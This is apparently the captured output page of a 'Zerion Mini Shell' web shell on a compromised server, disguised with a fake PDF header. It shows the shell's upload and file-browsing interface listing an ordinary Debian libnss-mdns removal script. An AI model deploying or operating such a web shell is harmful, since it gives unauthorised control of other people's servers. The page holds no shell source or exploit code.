%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/lib/dpkg/info/
Upload File :
Create Path :
Current File : /var/lib/dpkg/info/libnss-mdns:amd64.postrm

#!/bin/sh
set -e
# Automatically added by dh_installnss/1.7
: "${DPKG_MAINTSCRIPT_PACKAGE_INSTCOUNT:=$(dpkg-query -f '${db:Status-Abbrev}\n' -W "$DPKG_MAINTSCRIPT_PACKAGE" | grep -c '^i')}"
if { [ "$1" = "remove" ] || [ "$1" = "purge" ] ; } && [ -e "${DPKG_ROOT}/etc/nsswitch.conf" ] && [ "$DPKG_MAINTSCRIPT_PACKAGE_INSTCOUNT" -eq 0 ] ; then
	sed -E -i "${DPKG_ROOT}/etc/nsswitch.conf" \
		-e ':a /^hosts:\s.*#/ s/(^[^#]+)\s(mdns4_minimal|mdns|mdns_minimal|mdns4|mdns6|mdns6_minimal)\s+\[!?[A-Za-z]+=[A-Za-z]+\](\s|#)/\1\3/g ; t a' \
		-e ':b /^hosts:\s.*#/ s/(^[^#]+)\s(mdns4_minimal|mdns|mdns_minimal|mdns4|mdns6|mdns6_minimal)(\s|#)/\1\3/g ; t b' \
		-e ':c /^hosts:\s[^#]*$/ s/\s(mdns4_minimal|mdns|mdns_minimal|mdns4|mdns6|mdns6_minimal)\s+\[!?[A-Za-z]+=[A-Za-z]+\](\s|$)/\2/g ; t c' \
		-e ':d /^hosts:\s[^#]*$/ s/\s(mdns4_minimal|mdns|mdns_minimal|mdns4|mdns6|mdns6_minimal)(\s|$)/\2/g ; t d'
fi
# End automatically added section

Zerion Mini Shell 1.0